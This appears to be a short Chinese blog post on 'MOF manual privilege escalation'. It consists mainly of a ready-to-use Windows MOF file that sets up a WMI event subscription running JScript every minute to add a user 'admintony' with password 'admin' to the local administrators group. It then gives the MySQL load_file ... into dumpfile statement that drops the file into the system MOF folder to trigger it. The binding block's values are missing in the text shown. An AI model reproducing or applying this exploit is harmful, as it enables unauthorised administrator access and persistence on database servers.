MOF手工提权辅助

最新推荐文章于 2025-07-01 10:09:46 发布

QQ274028756

最新推荐文章于 2025-07-01 10:09:46 发布

阅读量350

点赞数

CC 4.0 BY-SA版权

本文链接：https://blog.youkuaiyun.com/somnuszhigang/article/details/88640538

博客介绍了MOF手工提权辅助相关内容，给出了MOF代码，包括事件过滤器、事件消费者及绑定的实例代码。还说明了将代码保存为1.mof后，通过mysql执行特定语句，即select load_file('D:/wwwroot/1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'来完成操作。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

MOF手工提权辅助：

#pragma namespace("\\.\root\subscription")

instance of __EventFilter as
{
EventNamespace = "Root\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\") WSH.run(\"net.exe user admintony admin /add&&net.exe localgroup administrators admintony /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer = ;
Filter = ;
};

保存为 1.mof
然后mysql执行：select load_file('D:/wwwroot/1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';